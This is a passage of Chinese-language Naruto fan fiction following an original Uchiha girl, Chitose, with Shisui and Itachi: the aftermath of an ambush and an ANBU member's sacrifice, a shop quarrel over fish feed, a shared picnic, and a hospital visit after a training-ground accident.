就在止水准备彻底压制对方时,几道黑影骤然从树梢跃下,暗部的制服在林间格外醒目。卡卡西带队落地,帕克紧随其后,看清场中形势后,立刻挥手示意小队包抄而上,苦无与查克拉刃同时出鞘,瞬间形成合围之势。
“止水,辛苦了,剩下的交给我们。”
卡卡西的声音透过面罩传来,暗部成员默契配合,查克拉交织成封锁网,彻底断了黑袍人的退路。
以一敌众的压力瞬间席卷而来,黑袍人面色铁青,拼尽全力抵挡几轮攻势,心中清楚再缠斗下去只会被生擒。
他猛地爆发查克拉震开近身的暗部成员,借着浓烟与尘土的掩护,抓住空隙纵身跃出包围圈,几个起落便消失在密林深处。
“追!”
一名暗部成员正要动身,却被卡卡西抬手拦下。
“不必追了,对方早有退路,优先保护两个孩子,封锁周边区域。”
卡卡西望向止水,微微点头,两人目光交汇,已然达成共识。
8. 第八章 他的死是有意义的
止水收刀回身,脸上那惯常游刃有余的浅笑淡了几分,眉眼间满是真切的担忧,快步走到千歲面前。他伸手轻轻碰了碰她泛红的脸颊,
“好啦,没事啦。”
她还想维持着前辈的倔强,咬着下唇不让自己哭得太狼狈,可肩膀控制不住地轻轻发抖,眼泪却像断了线的珠子,一滴滴砸在衣襟上,晕开小小的湿痕。
明明眼眶通红,却还偏过头,用脏兮兮的手背胡乱抹着眼泪,一副不肯轻易示弱的模样。
“我眼睛,有点出汗了……”
她小声嘟囔,声音带着哭后的沙哑,却硬要嘴硬,看起来又倔强又委屈,这样子格外惹人心疼。
止水看着她这副明明怕得要命,却还硬撑着不肯服软的模样,心头的心疼更甚。只能无奈的轻笑,他放轻动作,指尖擦过她嘴角的擦伤,动作温柔得近乎小心翼翼。
“嗯,没哭哦,只是眼里进沙了。”止水顺着她的话轻声应着,语气温柔又宠溺。
千歲把林间遭遇敌忍、和鼬联手设局脱身的事一五一十向暗部诉说。一旁的鼬乖乖站着,这是他第一次近距离见到止水,眼睛里里带着几分好奇,止水也留意到这个小小的宇智波少年,笑着朝他轻点了点头,心底早已知晓这个族中天才的存在。
两个孩子,一位温柔的少年,就在这场突如其来的危机里,莫名又自然地相识了。
“前辈,你还好吗?”鼬发现千歲仍然一副劫后余生的模样,关心道。
“我们千歲居然也变成前辈啦。”止水见状转移话题安慰千歲,“任务结束后去吃草莓大福庆祝一下吧。”
可她依然垂眸,像是在思索着什么一般。
战斗的喧嚣散去后,剩下的只有挥之不去的寂静与沉重。千歲并非还未反应过来,而是站在原地望着卡卡西身上那身熟悉的暗部制服,视线一阵模糊,刚才发生的一切在脑海里反复回放。
那个暗部大叔明明可以走的。
以他的身手,若是独自脱身,完全有机会全身而退,不必与那等强敌硬碰,更不必落得牺牲的下场。可他没有,他明明可以选择独活,却选择将她和鼬护在身后。
「我一定会保护你们离开的。」
那句话还清晰地响在耳边,坚定得像一句不容更改的誓言。
可说出这句话的人,已经不在了。
这是千歲第一次如此近距离地触碰死亡。从前在书上、在传说里听到的牺牲,都远不及这一刻来得真实而刺骨。
原来生命可以这样脆弱,前一瞬还在为你撑起希望,下一瞬便彻底熄灭;原来有些选择,无关强弱,只关乎心之所向。
一个人明明拥有活下去的机会,却自愿将生路让给别人,这份重量,压得她胸口发闷,眼眶发烫。
她走到卡卡西面前,声音轻却带着压抑的颤抖,一字一句很是认真:
「他……本来可以自己一个人逃走的……可是他还是为了救我和鼬,牺牲了。」
卡卡西沉默地看着她,面罩之上露出的眼神平静而通透,像是一眼就看穿了她心里的自责与迷茫。
他语气沉稳,带着经历过生死后的淡然与重量,缓缓开口:
“他是为了保护你们而死,也是为了保护木叶。”
“他的死,不是无意义的消逝,而是有人替更多人,扛起了本该面对的黑暗。”
这句话像一块石子,轻轻落进千岁纷乱的心湖,震荡开层层涟漪。
“死,不是无意义的…”千歲默默念到。
“我还不知道他叫什么名字呢。”千歲向卡卡西询求答案。
“…拓真,藤原拓真。”卡卡西的语气里听不出轻重。“记住他吧…”
牺牲不是白费,守护本身,就是一种意义。
身旁的止水也收敛了笑意,走上前来,轻轻按住她的肩膀,语气温和却有力:
“他用自己的方式,守住了想守护的东西。”
“带着他的份一起,变得更强、这才是对他最好的回应。”
千歲低下头鼻尖酸涩难忍,却轻轻点了点头。
风掠过树梢,像是在送别那位无名的守护者,也像是在告诉她——有些离开,并非结束,而是以另一种方式,继续照亮前行的路。
她忽然有些懂了,大人口中所说的「使命」与「守护」,从来不是轻飘飘的词语,而是要用生命去兑现的重量。
就在气氛安稳下来时,千歲突然反应过来:“糟糕,把猫咪给忘记了。”
止水愣了一下,疑惑地歪了歪头,眼底漾起笑意:“猫?什么猫?”
“就是忍校的三色小猫,本来是出来找它的,结果碰到了坏人……”千歲话还没说完,不远处就传来了脚步声,一名暗部成员抱着缩成一团、毛发还微微炸着的三色小猫走了过来。
“卡卡西队长让把这只猫交给你,说追踪时靠着它才找到战场痕迹。”暗部成员说着,小心翼翼地把软乎乎的小猫递到千歲怀里。
“拖卡卡西队长的福,非说要带着这只猫执行任务,让今天暗部上任第一天的青木照顾了一天的猫。”
说罢,便看向了身旁刚入职的暗部成员青木。
青木抱怨:“卡卡西队长,我抱了一天的猫咪,手都酸了。”
“那下次任务让你做诱敌组吧。”卡卡西不吃这一套。
“哦,我其实挺喜欢猫的…”青木收起埋怨。
千歲抱着暖乎乎的小猫,猫咪轻轻蹭了蹭她的手臂,瞬间治愈了不少心头的沉重。她抬头望向不远处的卡卡西,对方大半张脸都藏在面罩下,只露出一只沉静的眼睛,模样看起来莫名有些奇怪,像个把自己裹得严严实实的神秘人。
但毕竟是托了他的福,走失的小猫才能顺利回到自己怀里。千歲弯起泛红的眼角,乖巧地开口道谢:“谢谢你,卡卡西叔叔。”
“嗯?”卡卡西疑惑。
露在外的眼尾明显顿了一下,显然是没料到这个称呼。
他还不到二十岁,这还是人生第一次被人叫做叔叔,更何况自己还戴着面罩,根本看不出年纪,怎么就被当成长辈了。
“千歲,要叫前辈才对哦。”止水在一旁忍不住轻笑出声,温柔地出声纠正。
千岁“啊”了一声,有些不好意思地眨眨眼,一边轻轻顺着小猫柔软的毛发,一边乖乖改口,声音软甜又清亮:“对不起,卡卡西前辈。”
卡卡西被那声的“前辈”唤回神,他微微颔首,目光扫过千歲怀里缩成一团的三色小猫,又落在她脸颊未消的擦伤上,语气依旧平稳,却少了几分暗部的冷硬:“伤势无碍就好,巡逻队会处理后续,你们尽快返回学校,不要在外逗留。”
千歲抱着小猫用力点头,指尖轻轻挠着小猫的下巴,小家伙舒服得发出细碎的呼噜声,小脑袋蹭着她的掌心。
一旁的止水看着两人略显拘谨的互动,唇角的笑意更深,伸手揉了揉千岁的头顶,轻声道:“好了,我们先回去吧,别让族里担心,也让卡卡西前辈继续执行任务。”
千歲乖乖应着,抱着小猫往后退了两步:“卡卡西前辈再见!”
卡卡西望着少女离开的背影,怀里的小猫还探着脑袋喵喵叫了两声,他静默几秒,才转身对身后的队员示意,继续投入后续的搜查工作,只是那只露在外的眼眸,多了一丝不易察觉的柔和。
千歲,止水,鼬三人并肩走进忍校,两人身上还带着林间战斗的尘土与伤痕,千歲脸颊泛着淤青,鼬的袖口也沾染着血渍,模样格外惹人心疼。
早已在校门口焦灼等待的和真,一瞥见三人的身影,立刻快
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步冲了上来,他刚从暗部的口中得知了两人遭遇潜入敌忍、险些遇险的全部经过,悬了许久的心在看到他们平安归来的瞬间,终于重重落下,随即又被浓浓的担忧填满。
“千歲!鼬!你们可算回来了!”和真的声音带着掩饰不住的慌乱,作为刚上任的新手老师,他从未遇到过这般凶险的状况,攥着急救包的手指都在微微发颤,眼底满是后怕与自责。
“暗部的人已经把事情都告诉我了,你们两居然独自面对那么危险的敌人,吓死老师了!”
他不由分说地拉过两人,在庭院的石凳上坐下,手脚麻利地拆开急救包,因为太过紧张,消毒棉棒都险些滑落。他小心翼翼地擦拭着千歲手臂的划伤,眉头紧紧蹙起,语气里满是心疼:“疼就告诉老师,一定要轻一点处理……还好有止水和暗部及时赶到,不然老师真的不知道该怎么办了。”
说着,他又转头查看鼬的伤势,指尖微微颤抖,连呼吸都放得极轻。
千歲歪着头盯着和真担心的表情。
“和真老师,原来你也有这么温柔的一面吗?”
千歲从来没有见过和真的这副模样,平时的和真一直都是一副吊儿郎当的形象。看着和真风风火火、如临大敌的样子,小声吐槽:“老师,我们还没死呢,只是受了点小伤,自己还能走路,不用这么紧张啦。”
和真闻言,手上的动作顿了顿,看着两人虽有伤痕却依旧鲜活的模样,鼻尖微微发酸,随即固执地继续为他们包扎,语气坚定又温柔:“就算能走路也必须去医院!暗部说你们经历了激烈打斗,必须做全面检查才行,老师陪着你们,一步都不会离开。”
千歲乖乖坐着任由和真老师擦拭伤口,心里却悄悄翻起了不一样的涟漪。
她原本总觉得,这位刚上任的老师总是吊儿郎当的,上课爱开玩笑,平时也一副不太正经的样子,她甚至偷偷觉得,和真老师大概不太会把学生的事放在心上。
可此刻看着他紧皱的眉头、微微颤抖的指尖,还有那小心翼翼生怕弄疼她的动作,她才忽然发现,自己好像一直都误会了。
原来他吊儿郎当的外表下,藏着这么认真又温柔的一面,原来他会因为学生遇险而如此慌乱,会因为她们受伤而这样心疼。
和真小心翼翼地扶着两人起身,脚步放得极缓,时不时叮嘱他们小心脚下。
千歲低下头,嘴角不自觉地软了下来。好像……有这样的老师,也挺不错的。
一路被和真老师小心翼翼地扶着往医院走,止水和鼬陪在身边,千歲望着人来人往的木叶街道,阳光透过树叶洒在石板路上,温柔得不像话。
今天发生的一切像一场急促的梦,从遭遇敌忍的绝望、目睹牺牲的沉重,到止水出现时的安心,再到此刻被老师紧张护着的暖意,种种情绪交织在一起,在心底翻涌。
她曾以为村子只是熟悉的建筑与街道,可此刻才真切懂得,木叶从不是冰冷的围墙,而是由无数愿意挺身而出的人组成——有素不相识却舍命守护的暗部前辈,有温柔强大、随时挺身而出的族人。
有平日里吊儿郎当、关键时刻却满心牵挂的老师,还有默默同行、彼此依靠的伙伴。
那些藏在日常里的温柔,那些危难时刻的坚守,一点点揉进心底,让原本因死亡而沉重的心情,渐渐被暖意包裹。
原来守护从不是宏大的词语,而是有人愿意为陌生的孩子赌上生命,是有人把关心藏在看似散漫的外表下,是即便历经凶险,依旧能被温柔妥帖地照顾。
风拂过金发,带着木叶独有的烟火气息,千歲眼底漾起柔软的光,对这片村子的喜爱与眷恋,又深了几分,连带着未来想要变强、守护这里的心意,也愈发清晰坚定。
一切的一切,如果能维持现状,那该有多好。
9. 第九章 幼驯染三人!集合!
自忍校那次任务后,鼬在族地遇见千歳的次数,便渐渐多了起来。或许从前也有过照面,只是未曾留心,直到近来,那道身影才在眼底清晰起来。
西街卖草莓大福的纯子婆婆摊前,但凡传来几分热闹的笑闹声,不用细看,便知是千歳又凑在那儿叽叽喳喳。
去东区的花鸟鱼虫店,又总能撞见她正和卖鲤鱼饲料的山人大叔认真拌嘴,为了一款饲料的适口性争得有来有回,眉眼间满是较真的鲜活。
族地的街巷间,那抹浅米色的头发总在轻快地穿梭,像一缕不受拘束的风。
宇智波一族素来沉静自持,连空气里都浸着几分内敛疏离。千歳的明朗热闹、跳脱直率,在这片沉稳的氛围里,显得格外惹眼,也格外格格不入。
他偶尔会驻足片刻,看着她与族人们截然不同的鲜活模样,心底并无厌烦,只多了几分不易察觉的留意——原来在这片向来肃穆的族地里,还藏着这样一道不受氛围浸染的身影。
今天也如往常一般,千歲的身影在花鸟店前。
“山人大叔,我都说了我要红色的饲料,你上次给我包的明明是绿色的呀。”千歲鼓着腮帮子抗议。
山人大叔也笑着不肯退让,摆了摆手:“怎么可能,上次你明明说要红色那款,再说绿色的价钱还高些,我平白无故给你换贵的做什么?”
“可我拆开的时候真的是绿色的,还因为买错饲料被爸爸训了一顿。”
“不可能有这种事,我家的货从不出错。”两人你一言我一语,争得认真又不伤和气。
“又怎么啦?”
正闹着,身后传来一道温和带笑的声音:“两条街外就听见你的声音了。”
千歲一回头,眼睛立刻亮了:“止水!你来得正好,我正和山人大叔理论呢。”
山人大叔也跟着附和:“止水啊,你来评评这个理。”
止水笑着走上前,耐心听完两边的说辞,拿起柜台上的饲料袋凑近闻了闻,又仔细看了看颜色,才轻声问:“山人大叔,这批饲料保质期大概多久?”
“都是十天左右,现做现卖,新鲜得很。”
止水微微颔首,思索几秒便有了答案,语气平和地解释:“上周是木叶祭典,整条商街停业了快一周。这批饲料应该是祭典前做的,成分里除了小麦粉,还混了木叶兵粮丸的粗制品——这类东西放久了就容易变色,红转绿也是常有的事。山人大叔不妨看看制作日期,再往前推算千歲拆开饲料那天,就清楚了。”
山人大叔翻出记账的纸片一核对,日子果然对得上,顿时一拍脑袋:“哎呀,原来是这么回事,倒是我误会你了。”
千歲也恍然大悟,气鼓鼓的模样软了下来:“原来不是大叔故意给错,也不是我记错啦……”
山人大叔对着止水连连点头,语气里满是佩服:“真是了不起啊,年纪轻轻心思这么细,连这种变色的缘由都一猜就中,不愧是我们宇智波的好孩子,太聪明了。”
他顿了顿,又看向千歲,语气诚恳了几分:“不过说到底,上次卖给你临近过期的饲料,还是我的疏忽,是大叔不对。你下次再来买鲤鱼饲料,大叔给你打五折,算是赔个不是。”
说完,山人大叔转身往柜台后的柜子里翻找了一阵,很快拿出个小小的便当盒,递到千歳手里,笑着摆摆手:“这是我家老伴儿刚做的红豆饼,多亏止水帮忙解开误会,不然我还得跟小丫头争半天。拿着吧,趁热尝尝。”
千歲双手小心翼翼地接过便当盒,指尖轻轻碰了碰还带着点余温的盒身,嘴角忍不住向上弯起,语气满是惊喜:
“哇,谢谢山人大叔!还是阿姨亲手做的,听起来就好好吃!”
“便当盒下次来的时候顺便带给我就行,不急。”山人大叔笑着挥挥手。
两人并肩走在族地的街道上,风里都带着淡淡的甜香。
千歲抱着便当盒,一路哼着小曲。
“千歲。”止水开口。
“干嘛?”千歲疑惑的侧过头,看着止水。
“不干嘛,就叫叫你。”止水又调皮了。
“止水你好无聊。”千歲吐槽。“我还以为你要把红豆饼全部占为己有。”
止水差点笑岔气,“你多吃点,我不跟你抢。”
刚转过街角,千歲就一眼看见了站在团子店前的鼬,他手里提着一盒打包好的三色丸子,身姿挺拔,却又带着几分习惯性的安静。
她眼睛一亮,小步轻快地跑了上去,笑着打招呼:“鼬!”
说着还把怀里的便当盒轻轻晃了晃,语气欢快:“你看,刚才山人大叔送了我们红豆饼,超甜的,要不要一起吃?”
鼬微微一怔。
习惯了独来独往、安静旁观的他,还是第一次被人这样笑着邀请分享食物,一时竟有些迟疑,眼底掠过一丝不易察觉的无措。
止水慢悠悠走过来,在一旁笑着添火:“鼬不来的话,千歲可是要一个人把红豆饼全吃光。”
“什么呀!我哪有那么馋。”千歲瞬间炸毛,脸颊微微鼓起,像只被戳到的小松鼠,又气又好笑。
止水看着她这副嘴硬又可爱的模样,忍不住低笑出声,眉眼都温柔下来。
鼬站在一旁,安静地看着两人打闹。
这样轻松鲜活、毫无隔阂的氛围,在素来内敛沉默的宇智波族人里几乎从未见过,没有疏离,没有戒备,只有简单的吵闹与笑意,让他紧绷的神情也不自觉柔和了几分。
“正好,”他轻轻提起手里的三色丸子,声音平静却带着难得的暖意,“我刚买了丸子,一起吃吧。”
三人来到族地后山坡,找了块视野开阔的草坪坐下。远处火影石像在阳光下轮廓清晰,风掠过草地,带着淡淡的草木与点心甜香。
千歲迫不及待打开便当盒,温热的红豆饼整齐摆着,甜香立刻飘开,她眼睛弯成小月牙:“快尝尝看,山人大叔说这是他家阿姨亲手做的。”
止水拿起一块,轻轻咬了一口,眉眼舒展:“嗯,外皮酥酥的,红豆馅绵密又不会太甜,比街上点心店的还要好吃。”
千歲闻言立刻看向鼬,把便当往他那边推了推,语气带着小小的期待:“鼬你也快尝尝,看是不是很好吃!”
鼬拿起一块红豆饼,小口尝了尝,语气平静却认真:“味道很好,馅很细腻。”
“对吧对吧!”千歲瞬间露出得意的小表情,像得到认可般开心,随即又小声嘀咕,“本来还担心和山人大叔吵架,结果不
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仅解开误会,还能吃到红豆饼。”
止水笑着打趣:“某人刚才还气鼓鼓跟大叔理论,现在就被红豆饼收买了?”
“才没有被收买!”千歲又轻轻炸毛,脸颊微微鼓起,“我只是就事论事,而且,而且红豆饼确实很好吃嘛。”
看着她嘴硬又忍不住偷偷又咬一口红豆饼的样子,止水忍不住轻笑出声。
鼬安静看着两人打闹,紧绷的嘴角不自觉柔和几分,把手中的三色丸子递到两人中间:“尝尝这个,这家团子甜度刚好。”
止水拿起一串,笑着调侃:“没想到鼬居然喜欢吃甜食,和平时的印象不太一样呢。”
千歲立刻点头附和,咬着丸子含糊道:“鼬也一起吃才热闹嘛,一个人吃东西多没意思。”
鼬沉默片刻,轻声道:“确实,比一个人吃有意思。”
风轻轻吹过,千歲看着远处的火影石像,忽然小声感叹:“从这里看过去,火影石像好壮观啊。”
风静了下来,千歲望着远处山崖上的火影石像,慢慢发起了呆。
视线落在初代与二代沉静威严的面容上,下一秒,石像在她眼中忽然活了过来——仿佛有两道模糊却鲜活的身影从巨石中浮现,衣袂翻飞、气息磅礴,一段从未亲身经历过的记忆碎片,又一次在脑海里轻轻一闪,快得抓不住。
像上次她和止水对决时突然出现在脑海里的宇智波长发男人的记忆一般。
她回过神,小声开口,语气带着几分刚从恍惚里抽离的茫然:
“你们知道初代火影大人和二代火影大人吗?”
止水微微一怔,随即弯眼笑了:“没想到千歲会突然对火影大人感兴趣。”
他顿了顿,语气认真又温和,“初代火影大人,是亲手创立木叶忍者村的人,是非常了不起的英雄哦。”
千岁似懂非懂地点了点头。
止水忍不住逗她:“那千歲,以后也想成为火影吗?”
她几乎是立刻眨了眨眼,认真地抛出自己最关心的问题:
“成为火影的话,可以每天吃十个草莓大福吗?”
鼬原本安静望着石像,听见这句直白又可爱的念头,难得轻轻笑出了声,眼底都柔和几分:
“可以是可以。不过,要先变得足够强大,能保护村子里所有人才行。”
千歲当场垮下脸,果断打退堂鼓:
“啊?那算了吧……要说实力,我还差止水和鼬远着呢。”
止水看着她这副坦率又不逞强的样子,目光淡了下来,声音轻轻的:
“那可不一定呢。”
“说不定,千歲身上蕴藏着我们谁都不知道的力量。”
他顿了顿,笑得温柔又笃定:“变得强大的前提是相信这份力量的存在哦。”
千歲歪了歪头,一脸“你在绕弯子我听不懂”的困惑,干脆把便当往怀里拢了拢:
“止水别跟我拐脑筋,我听不懂。就当你在夸我好啦。”
说完,她又理直气壮地咬下一大口红豆饼,甜香在嘴里散开,刚才那点莫名的恍惚与沉重,瞬间被吃得一干二净。
几人靠着彼此,一口丸子一口饼,有一句没一句地说着话,连沉默都变得温柔又安心。
10. 第十章 原来由里香是医疗忍者
三月的暖阳洒在宇智波族地后山,嫩草尖沾着晨露,空地上的木靶整整齐齐排开。
千歲此刻却气鼓鼓的,不知道是谁又把她惹成这样。
她早早就蹲在后山,本来约好和止水今天一起练习手里剑,可一大早止水满是歉意地上门说临时有任务,来不了。
满心的欢喜一下子落空,千歲抓起手里的手里剑,用尽全力往木靶扔去,“咻”的一声,手里剑狠狠扎进木桩,力道大得让木靶晃了好几下。
“坏止水,说话不算话。”
她边嘟囔着,一把捞起刃具包里的手里剑,不管不顾地接连扔出去,动作带着小孩子特有的赌气劲儿,每一发都裹着小小的委屈和恼怒,没一会儿,木桩上就插满了密密麻麻的手里剑。
可木桩的靶心依然是空空如也,千歲看着那枚稳稳落在旁边草丛里的手里剑,心里的烦躁值瞬间爆表。
“什么破靶子,连一发都不让我打中!”
她气不打一处来,握紧拳头,“哐嗤”一声狠狠锤在了靶心。
谁承想,仅仅是一拳下去,整个木桩的上半部分直接瞬间破碎,木桩碎片落了一地。
千歲被自己这股惊人的力量吓了一跳,小手还保持着出拳的姿势,瞪圆了眼睛看着眼前的废墟,小声嘀咕:“这…这是什么劣质产品啊?待会儿训练场的管理人看到了,又要念叨我了……”
千歲往四周看了看,只有她一个人。
鬼点子生成当中,反正都是木桩,再去森林深处找一根合适的安到原处不就行了。
她一边祈祷不要有人经过,一边偷偷摸摸的打扫起地上的木碎片。
“前辈?”少年音从身后传来。
“唔啊!!”大概是做贼心虚,千歲被吓得一个激灵。
往身后一看,看到鼬略显疑惑的歪着脑袋。
“什么嘛,原来是鼬啊。”千歲松了口气,这才放松下来。
鼬走向前,轻轻蹲下,捡起散落的木桩碎片,仔细端详着。
“没想到前辈居然会主动打扫后山的训练场。”
千歲害怕事情败露,此地无银三百两的挡在被打坏的木桩前。
“这个碎片,是它自己莫名其妙就碎了。”
手忙脚乱的,也不知道在解释些什么。
几只乌鸦此时盘旋在上空,嘴里发出几声嘶哑的尖叫。
“应该是乌鸦干的…”少女支支吾吾才憋出一句话。
鼬没有拆穿千歲,刚刚他在灌木丛中看完了全程。只是笑了笑,说:“乌鸦饿了,也会啄木桩的。”
“肯定是乌鸦,就爱贪吃。”
千歲立刻附和。
“不过,乌鸦先生应该也不是故意的…我正打算把这一片打扫好,再去找一个新的木桩。”
鼬看着千歲那一脸慌乱的表情,觉得好笑极了。
“我和你一起吧,木桩坏了我也练习不了手里剑。”
两人沿着训练场旁的小路走进林间,阳光透过枝叶的缝隙洒下来,落在地上铺成斑驳的光点。
千歲走在前面,时不时踮脚看看粗壮的树干,一会儿指着一棵细瘦的小树摇头,一会儿又凑到一棵老树旁敲了敲,一本正经地挑选着。
“这个不行,太细了,一拳就断。”
也没有人会对着手里剑木桩练拳吧,鼬心想。
“这个太粗啦,搬不回去的!”
确实,直径都快比上家里的木桌了,鼬赞成。
鼬跟在她身后,看着她一边自言自语围着树木打转,耐心等着她挑挑拣拣。
最后千歲停在一棵粗细适中、木纹紧实的小树前,拍了拍树干:“这个,这个肯定结实,刚好合适。”
又顿了顿,疑惑道:“可要怎么把它锯下来呢?我可不像止水一样有随身带电锯的习惯。”
那应该是短刀,鼬在心里吐槽。
“火遁的话估计得把后山都给烧光…”千歲思考着把木桩切割的办法。
“前辈,我来吧。”
鼬示意她往后退开些,随即双手结印。
“风遁·真空波。”
随着话音刚落,风刃细密而利落,围着根部轻轻切割,眼看就要完全断开,原本稳稳立着的木头却忽然一歪,没朝着空旷处倒,反而诡异地斜斜滑向鼬的方向。
变故只在一瞬,千岁瞳孔微缩,想都没想就扑过去,一把将鼬往旁边推开。
“小心!”
下一刻,树干边缘重重擦过她的上臂,锋利的断木茬口划破衣物,深深嵌入皮肉。一阵尖锐的痛感袭来,她踉跄着摔倒在地。
“前辈!没事吧?”
鼬立刻蹲下身,声音里带着少见的急促。
千歲疼得眼眶瞬间就热了,眼泪在里面打转,却还是硬撑着用力摇头。
“没事……”
她逞强地撑着地慢慢站起来,还特意拍了拍衣服上的泥土和落叶,故作轻松地晃了晃没受伤的那只手:
“没事儿,哈哈,只不过是小伤而已,别这么紧张……”
鼬的目光落在她渗血的手臂上,略显担心 :
“可是你的手……”
千歲这才慢吞吞地朝自己手臂看去。
不看还好,一看吓一跳。
衣服被划开一道深长的口子,伤口深得吓人,几乎要看见底下的肌理,鲜血不断往外渗。她刚才只顾着担心鼬,疼得麻木了没反应过来,这会儿看清伤势,整个人都僵住。
下一秒,刚才还嘴硬的人瞬间破防,脸色一白,声音都带着哭腔大喊:
“我有事!我有事!我要去医院——!”
木叶病院。
宇智波仁美一袭白大褂,此刻正低头为千歲处理伤口。然而,当她抬眼时,那双开启的三勾玉写轮眼并未带来压迫感,反而流转着温柔的水波,指尖凝聚起查克拉,动作快得几乎让人看不清残影。
“放松一点,很快就好。”
查克拉针线在伤口上游走,精准得不可思议。没有预想中的剧痛,只有轻微的酥麻感,一瞬间便跨越了疼痛的阈值。千歲怔怔地看着她,心里只剩惊叹:这是什么神仙手法?简直是医学界的艺术!
在这一刻,千歲彻底被这位温柔又强大的女性折服了,好感度瞬间拉满,心里暗暗发誓:以后受伤都要来找她!
片刻后,宇智波仁美指尖一收,缝合完毕。她对着千歲露出一抹浅淡却治愈的笑容,声音轻柔:“最后做包扎处理就可以了。”说罢,便提着医疗箱去了下一个病房。
宇智波仁美刚走不久,门口传来一阵轻快的脚步声。利落的黑色短发少女走了进来,手里拿着工具包,正是由里香。
当千歲抬头看到来人,以及由里香看向千歲的眼神时,两人同时僵住,异口同声地尖叫:
“是你!?”
只留下鼬在一旁疑惑的看着两人。
千歲率先反应过来,带着几分嫌弃与警惕,缩了缩没受伤的肩膀:“你怎么在这?我不要你包扎!”
由里香挑了挑眉,故作神秘地耸耸肩:“我怎么不可以在这?我就是来给你包扎的。”
“你会包扎吗?”千歲毫不犹豫地拆台,眼神飞快地瞟向由里香手里的工具包
“我要找刚刚那位姐姐,我要找仁美阿姨!”
两人的争执声不大,却刚好传到了走廊拐角。仁美闻声折返,快步走了进来,看向由里香:“怎么啦,由里香?”
由里香瞬间换上乖巧的神色,指了指千歲,轻松笑道:“没事,母亲,只是碰到熟人了而已。”
仁美点了点头,伸手轻轻整理了一下由里香的衣领,叮嘱了几句“好好照顾病人,不要调皮”,便又转身回了岗位。
病房里只剩下千歲,鼬还有由里香三人。千
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歲难以置信地盯着由里香,大脑宕机了足足三秒。
那个动作快如闪电、温柔如水的仁美姐姐……居然是这个由里香的妈妈?!
两人的相似之处简直为零。
千歲看着此刻正一脸得意的由里香,心里的震惊程度,堪比刚刚看到伤口时的体验。还没从刚才的冲击里缓过来:
“你都开始工作了?”
由里香把包扎盘往桌边一放:
“外科最近忙不过来,偶尔过来帮忙而已。你也是运气好,刚好撞上我妈妈巡诊,平时想让她做手术的人,队伍都能排到村外去了。”
鼬站在一旁,安静地看着两人,这时才缓缓开口,语气平静却带着认可:
“宇智波仁美女士,是第一位将写轮眼能力系统运用在医疗忍术上的女性,凭借精准到极致的手法,在外科很有分量,是位非常出色的人。”
由里香一听有人这么中肯夸自己母亲,立刻扬起下巴,转头对着千歲挤眉弄眼:
“你看,连你后辈都比你懂多了。再瞧瞧你,整天没心没肺的,哪有半点前辈样子。”
千歲一听由里香挤兑自己,立刻反驳,耳尖还带着点没褪干净的红,梗着脖子嚷嚷:
“我当然有心有肺啦。”随即指着身体器官的方向:
“心脏在这里,肺在这里。还活得好好的呢。”
由里香扶着额角一脸无语,摆了摆手懒得跟她掰扯:“真是懒得和你解释。”
不过话音刚落,她眼神在千歲和鼬之间来回打转,语气里满是疑惑:“不过今天你这是什么搭配,平时不都成天跟止水在一块儿吗,怎么反倒换成你后辈陪你来医院啦?”
千歲下意识张口就答:“还不是因为在训练场锯木头的时候……”
“?锯木头?锯什么木头?”由里香疑惑。
话刚说一半,她猛然意识到,差点把打坏木桩、伐木受伤的蠢事说漏嘴,支支吾吾半天也没圆回来。
鼬适时上前一步,语气淡定自然,不动声色帮她圆了场:“刚才和前辈训练时,她帮我挡了一下失控的手里剑,所以我陪她过来处理伤口。”
由里香挑了挑眉尾,拖着长长的语调一脸了然:“哦——原来是这样。”
由里香看向鼬时,眼底多了几分了然,她自然清楚对方是宇智波一族族长的长子,也知晓他年纪轻轻便拥有不容小觑的实力,刚要侧头跟千歲继续打趣,隔壁病房就传来老奶奶唤她换药的声音。
她匆匆对鼬叮嘱了几句后续换药、取药的时间与相关药方事宜,便拿着换药盘快步离开了病房。
看着由里香熟练拿起药盘、应声快步走向隔壁病房的背影,千歲原本还闹着小情绪的脸慢慢安静下来,心里忽然泛起一阵细碎又复杂的情绪。
明明平时总爱互相斗嘴,可这一刻,她清清楚楚地感觉到,由里香已经能稳稳当当独当一面,在自己的位置上认真又可靠。
明明差不多年纪,对方已经能熟练处理病患、被病人依赖,而自己还在因为闯祸受伤进医院,连句像样的借口都要靠鼬帮忙圆场。
一丝羡慕悄悄冒出来,又掺着点不服输的不甘。她悄悄攥了攥没受伤的那只手,在心底默默下定决心。
果然是由里香啊,总是这样不知不觉就走到前面了。
从明天开始,我也要好好专心练习忍术,不能再这样没心没肺地闯祸了,下次一定要变得更可靠一点。
与此同时,宇智波族地后山的训练场。
管理员看着满地碎裂的木桩残骸,气得额角青筋直跳,叉着腰在原地来回踱步,语气里满是痛心疾首:
“我不过外出巡察半天……”
他指着那截惨不忍睹、断口歪歪扭扭的木桩,
对着空无一人的训练场怒吼出声:
“究竟是谁把我刚置办的训练木桩糟蹋成这副模样的!!!”
11. 第十一章 原来止水也有他的同伴
这天一早,餐桌上照例摆着纳豆,还卧了颗颤巍巍的生鸡蛋。
千歲盯着这盘毫无食欲的“心情晴雨表”,心里已经敲响警钟——自己的老爸今天绝对心情阴转暴雨。她小口小口抿着味增汤,眼睛偷偷瞟着宇智波枭的脸色。
“千歲。”宇智波枭忽然开口,语气听不出喜怒。
“干嘛?”少女应声。
他沉默片刻,才淡淡开口:“最近族里,总有些怪事。”
“奇怪的事?”
“比如后山新立的木桩靶,半天功夫就被人毁得一塌糊涂。”
千歲浑身一僵,差点把汤呛出来。
完了,那天急着去医院,把这茬彻底忘到九霄云外了。
宇智波枭还在不紧不慢地补刀:“还有后山林里,刚施过肥的银杏树,也被奇怪的忍术劈得整整齐齐。”
千歲嘴角狠狠一抽,脸上直接挂下三道黑线。
“这些事,和你没关系吧?”宇智波枭抬眸,目光直直落在女儿身上。
“我、我什么都不知道呀……”她心脏狂跳,吓得快缩成一团。
“和你无关最好。”他淡淡道,“木叶警务部队已经介入,说抓到犯人,必定严惩。”
“什么!?”千歲猛地站起来,声音都抖了。
宇智波枭挑眉:“嗯?”
少女急得眼眶都泛红,年纪轻轻可不想蹲大牢啊。
她小心翼翼地凑过去:“那、那要是抓到犯人,会、会怎么样呀?”
宇智波枭认真想了想,语气平静:“大概,涉案人以及其亲朋好友全部流放战场当炮灰吧。”
“什、什么——老爸,其、其实我……”
话没说完,宇智波枭府邸的门铃忽然叮铃响起。
他站起身,径直朝门口走去迎客,留下原地心态炸裂的千歲。
完了完了,这下真要完蛋了,她还没来得及多吃几顿好吃的,就要上战场当炮灰了吗?
